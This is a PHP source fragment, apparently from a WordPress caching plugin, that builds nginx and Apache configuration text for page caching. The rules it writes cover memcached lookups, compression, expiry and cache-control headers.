private function for_nginx_memcached( $config, $cache_dir, $env_request_uri,
$key_postfix, $env_w3tc_enc ) {
$rules = "set \$request_uri_noslash $env_request_uri;\n";
$rules .= "if ($env_request_uri ~ \"(.*?)(/+)$\") {\n";
$rules .= ' set $request_uri_noslash $1;' . "\n";
$rules .= "}\n";
$cache_path = str_replace( Util_Environment::document_root(), '',
$cache_dir );
$rules .= 'location ~ ".*(?<!php)$" {' . "\n";
$rules .= ' set $memcached_key "$http_host$request_uri_noslash/' .
$key_postfix . $env_w3tc_enc . '";' . "\n";
if ( $config->get_boolean( 'browsercache.enabled' ) &&
$config->get_boolean( 'browsercache.html.compression' ) ) {
$rules .= ' memcached_gzip_flag 65536;' . "\n";
}
$rules .= ' default_type text/html;' . "\n";
$memcached_servers = $config->get_array( 'pgcache.memcached.servers' );
$memcached_pass = !empty( $memcached_servers ) ? array_values( $memcached_servers )[0] : 'localhost:11211';
$rules .= ' if ($w3tc_rewrite = 1) {' . "\n";
$rules .= ' memcached_pass ' . $memcached_pass . ';' . "\n";
$rules .= " }\n";
$rules .= ' error_page 404 502 504 = @fallback;' . "\n";
$rules .= "}\n";
$rules .= 'location @fallback {' . "\n";
$rules .= ' try_files $uri $uri/ $uri.html /index.php?$args;' . "\n";
$rules .= "}\n";
return $rules;
}
/*
* cache rules
*/
/**
* Writes directives to file cache .htaccess
* Throws exception on error
*
* @param Config $config
* @param Util_Environment_Exceptions $exs
*/
private function rules_cache_add( $config, $exs ) {
Util_Rule::add_rules( $exs,
Util_Rule::get_pgcache_rules_cache_path(),
$this->rules_cache_generate( $config ),
W3TC_MARKER_BEGIN_PGCACHE_CACHE,
W3TC_MARKER_END_PGCACHE_CACHE,
array(
W3TC_MARKER_BEGIN_BROWSERCACHE_CACHE => 0,
W3TC_MARKER_BEGIN_MINIFY_CORE => 0,
W3TC_MARKER_BEGIN_PGCACHE_CORE => 0,
W3TC_MARKER_BEGIN_WORDPRESS => 0,
W3TC_MARKER_END_MINIFY_CACHE => strlen( W3TC_MARKER_END_MINIFY_CACHE ) + 1
)
);
}
/**
* Removes Page Cache cache directives
*
* @param Util_Environment_Exceptions $exs
* @throws Util_WpFile_FilesystemOperationException with S/FTP form if it can't get the required filesystem credentials
*/
private function rules_cache_remove( $exs ) {
// apache's cache files are not used when core rules disabled
if ( !Util_Environment::is_nginx() )
return;
Util_Rule::remove_rules( $exs,
Util_Rule::get_pgcache_rules_cache_path(),
W3TC_MARKER_BEGIN_PGCACHE_CACHE,
W3TC_MARKER_END_PGCACHE_CACHE );
}
/**
* Generates directives for file cache dir
*
* @param Config $config
* @return string
*/
public function rules_cache_generate( $config ) {
switch ( true ) {
case Util_Environment::is_apache():
case Util_Environment::is_litespeed():
return $this->rules_cache_generate_apache( $config );
case Util_Environment::is_nginx():
return $this->rules_cache_generate_nginx( $config );
}
return '';
}
/**
* Generates directives for file cache dir
*
* @param Config $config
* @return string
*/
private function rules_cache_generate_apache( $config ) {
$charset = get_option( 'blog_charset' );
$pingback_url = get_bloginfo( 'pingback_url' );
$browsercache = $config->get_boolean( 'browsercache.enabled' );
$brotli = ( $browsercache && $config->get_boolean( 'browsercache.html.brotli' ) );
$compression = ( $browsercache && $config->get_boolean( 'browsercache.html.compression' ) );
$expires = ( $browsercache && $config->get_boolean( 'browsercache.html.expires' ) );
$lifetime = ( $browsercache ? $config->get_integer( 'browsercache.html.lifetime' ) : 0 );
$cache_control = ( $browsercache && $config->get_boolean( 'browsercache.html.cache.control' ) );
$etag = ( $browsercache && $config->get_integer( 'browsercache.html.etag' ) );
$w3tc = ( $browsercache && $config->get_integer( 'browsercache.html.w3tc' ) );
$compatibility = $config->get_boolean( 'pgcache.compatibility' );
$rules = '';
$rules .= W3TC_MARKER_BEGIN_PGCACHE_CACHE . "\n";
if ( $compatibility ) {
$rules .= "Options -MultiViews\n";
// allow to read files by apache if they are blocked at some level above
$rules .= "<Files ~ \"\.(html|html_gzip|html_br|xml|xml_gzip|xml_br)$\">\n";
if ( version_compare( Util_Environment::get_server_version(), '2.4', '>=' ) ) {
$rules .= " Require all granted\n";
} else {
$rules .= " Order Allow,Deny\n";
$rules .= " Allow from all\n";
}
$rules .= "</Files>\n";
if ( !$etag ) {
$rules .= "FileETag None\n";
}
}
if ( $config->get_boolean( 'pgcache.file.nfs' ) ) {
$rules .= "EnableSendfile Off \n";
}
if ( !$config->get_boolean( 'pgcache.remove_charset' ) ) {
$rules .= "AddDefaultCharset " . ( $charset ? $charset : 'utf-8' ) . "\n";
}
if ( $etag ) {
$rules .= "FileETag MTime Size\n";
}
if ( $brotli ) {
$rules .= "<IfModule mod_mime.c>\n";
$rules .= " AddType text/html .html_br\n";
$rules .= " AddEncoding br .html_br\n";
$rules .= " AddType text/xml .xml_br\n";
$rules .= " AddEncoding br .xml_br\n";
$rules .= "</IfModule>\n";
$rules .= "<IfModule mod_setenvif.c>\n";
$rules .= " SetEnvIfNoCase Request_URI \\.html_br$ no-brotli\n";
$rules .= " SetEnvIfNoCase Request_URI \\.xml_br$ no-brotli\n";
$rules .= "</IfModule>\n";
}
if ( $compression ) {
$rules .= "<IfModule mod_mime.c>\n";
$rules .= " AddType text/html .html_gzip\n";
$rules .= " AddEncoding gzip .html_gzip\n";
$rules .= " AddType text/xml .xml_gzip\n";
$rules .= " AddEncoding gzip .xml_gzip\n";
$rules .= "</IfModule>\n";
$rules .= "<IfModule mod_setenvif.c>\n";
$rules .= " SetEnvIfNoCase Request_URI \\.html_gzip$ no-gzip\n";
$rules .= " SetEnvIfNoCase Request_URI \\.xml_gzip$ no-gzip\n";
$rules .= "</IfModule>\n";
}
if ( $expires ) {
$rules .= "<IfModule mod_expires.c>\n";
$rules .= " ExpiresActive On\n";
$rules .= " ExpiresByType text/html M" . $lifetime . "\n";
$rules .= "</IfModule>\n";
}
$header_rules = '';
if ( $compatibility ) {
$header_rules .= " Header set X-Pingback \"" . $pingback_url . "\"\n";
}
if ( $w3tc ) {
$header_rules .= " Header set X-Powered-By \"" .
Util_Environment::w3tc_header() . "\"\n";
}
if ( $expires ) {
$header_rules .= " Header set Vary \"Accept-Encoding, Cookie\"\n";
}
$set_last_modified = $config->get_boolean( 'browsercache.html.last_modified' );
if ( !$set_last_modified && $config->get_boolean( 'browsercache.enabled' ) ) {
$header_rules .= " Header unset Last-Modified\n";
}
if ( $cache_control ) {
$cache_policy = $config->get_string( 'browsercache.html.cache.policy' );
switch ( $cache_policy ) {
case 'cache':
$header_rules .= " Header set Pragma \"public\"\n";
$header_rules .= " Header set Cache-Control \"public\"\n";
break;
case 'cache_public_maxage':
$header_rules .= " Header set Pragma \"public\"\n";
if ( $expires ) {
$header_rules .= " Header append Cache-Control \"public\"\n";
} else {
$header_rules .= " Header set Cache-Control \"max-age=" . $lifetime . ", public\"\n";
}
break;
case 'cache_validation':
$header_rules .= " Header set Pragma \"public\"\n";
$header_rules .= " Header set Cache-Control \"public, must-revalidate, proxy-revalidate\"\n";
break;
case 'cache_noproxy':
$header_rules .= " Header set Pragma \"public\"\n";
$header_rules .= " Header set Cache-Control \"private, must-revalidate\"\n";
break;
case 'cache_maxage':
$header_rules .= " Header set Pragma \"public\"\n";
if ( $expires ) {
$header_rules .= " Header append Cache-Control \"public, must-revalidate, proxy-revalidate\"\n";
} else {
$header_rules .= " Header set Cache-Control \"max-age=" . $lifetime . ", public, must-revalidate, proxy-revalidate\"\n";
}
break;
case 'no_cache':
$header_rules .= " Header set Pragma \"no-cache\"\n";
$header_rules .= " Header set Cache-Control \"private, no-cache\"\n";
break;
case 'no_store':
$header_rules .= " Header set Pragma \"no-store\"\n";
$header_rules .= " Header set Cache-Control \"no-store\"\n";
break;
}
}
if ( strlen( $header_rules ) > 0 ) {
$rules .= "<IfModule mod_headers.c>\n";
$rules .= $header_rules;
$rules .= "</IfModule>\n";
}
$rules .= W3TC_MARKER_END_PGCACHE_CACHE . "\n";
return $rules;
}
/**
* Generates directives for file cache dir
*
* @param Config $config
* @return string
*/
private function rules_cache_generate_nginx( $config ) {
if ( $config->get_string( 'pgcache.engine') != 'file_generic' ) {
return '';
}
$cache_root = Util_Environment::normalize_path( W3TC_CACHE_PAGE_ENHANCED_DIR );
$cache_dir = rtrim( str_replace( Util_Environment::document_root(), '', $cache_root ), '/' );
if ( Util_Environment::is_wpmu() ) {
$cache_dir = preg_replace( '~/w3tc.*?/~', '/w3tc.*?/', $cache_dir, 1 );
}
$browsercache = $config->get_boolean( 'browsercache.enabled' );
$brotli = ( $browsercache && $config->get_boolean( 'browsercache.html.brotli' ) );
$compression = ( $browsercache && $config->get_boolean( 'browsercache.html.compression' ) );
$common_rules_a = Dispatcher::nginx_rules_for_browsercache_section(
$config, 'html', true );
$common_rules = '';
if ( !empty( $common_rules_a ) ) {
$common_rules = ' ' . implode( "\n ", $common_rules_a ) . "\n";
}
$rules = '';
$rules .= W3TC_MARKER_BEGIN_PGCACHE_CACHE . "\n";
if ( $brotli ) {
$maybe_xml = '';
if ($config->get_boolean('pgcache.cache.nginx_handle_xml')) {
$maybe_xml = "\n" .
" text/xml xml_br;\n" .
" ";
}
$rules .= "location ~ " . $cache_dir . ".*br$ {\n";
$rules .= " brotli off;\n";
$rules .= " types {" . $maybe_xml . "}\n";
$rules .= " default_type text/html;\n";
$rules .= " add_header Content-Encoding br;\n";
$rules .= $common_rules;
$rules .= "}\n";
}
if ( $compression ) {
$maybe_xml = '';
if ($config->get_boolean('pgcache.cache.nginx_handle_xml')) {
$maybe_xml = "\n" .
" text/xml xml_gzip;\n" .
" ";
}
$rules .= "location ~ " . $cache_dir . ".*gzip$ {\n";
$rules .= " gzip off;\n";
$rules .= " types {" . $maybe_xml . "}\n";
$rules .= " default_type text/html;\n";
$rules .= " add_header Content-Encoding gzip;\n";
$rules .= $common_rules;
$rules .= "}\n";
}
$rules .= W3TC_MARKER_END_PGCACHE_CACHE . "\n";
return $rules;
}
}